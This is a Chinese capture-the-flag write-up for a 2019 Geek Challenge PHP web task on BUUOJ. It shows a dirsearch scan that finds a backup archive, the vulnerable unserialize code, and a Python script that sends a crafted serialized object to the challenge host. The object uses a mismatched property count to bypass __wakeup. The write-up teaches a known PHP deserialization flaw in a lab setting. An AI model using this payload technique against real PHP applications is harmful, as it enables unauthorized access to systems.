2019極客挑戰賽WEB部分PHP

題目鏈接:buuoj

掃描敏感文件

根據題目描述,應該網站是存在備份文件的,這裏用dirsearch工具掃描一下可以發現備份文件是www.zip。(PS:BUUCTF對大量的請求會返回429錯誤碼,建議調小一下掃描的線程數)。
python3 dirsearch.py -u http://03670227-0f65-49ec-ad73-1075e1f979fc.node3.buuoj.cn/ -e php -t 1 | grep -E "200"
在這裏插入圖片描述

分析源碼

下載j解壓後有多個文件,其中有一個flag.php文件,提交後不是正確的答案。重點看index.php和class.php這兩個文件。index.php中關鍵的代碼如下:

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

首先包含了class.php文件,然後獲得GET方式傳遞的參數,對數據進行了反序列化。

在看一下class.php文件

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

發現能得到flag的位置在變量銷燬是調用destruct()函數。只有當Name類的對象的password屬性值爲100並且username屬性值爲admin時,纔會輸出flag。而在反序列化是會調用wakeup函數使得username屬性值爲guest。這裏就需要繞過wakeup函數。繞過的方法是:改變構造好的序列化字符串屬性的個數,使得和Name中屬性個數不一致,這樣就會繞過wakeup函數。同時要注意private類型的變量和protected類型的變量序列化後的特點:

\x00 + 類名 + \x00 + 變量名 -> 反序列化爲private變量
\x00 + * + \x00 + 變量名 -> 反序列化爲protected變量

pyload如下:

import requests
payload='O:4:"Name":3:{s:14:"\x00Name\x00username";s:5:"admin";s:14:"\x00Name\x00password";i:100;}'
url='http://03670227-0f65-49ec-ad73-1075e1f979fc.node3.buuoj.cn/?select='
r = requests.get(url+payload)
print(r.text)

在這裏插入圖片描述

總結

本題主要考查PHP反序列化漏洞,這裏就是利用了構造屬性個數與類的本身屬性個數不同來實現繞過wakeup()函數。同時要注意private類型的變量序列化後的字符串的特徵

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章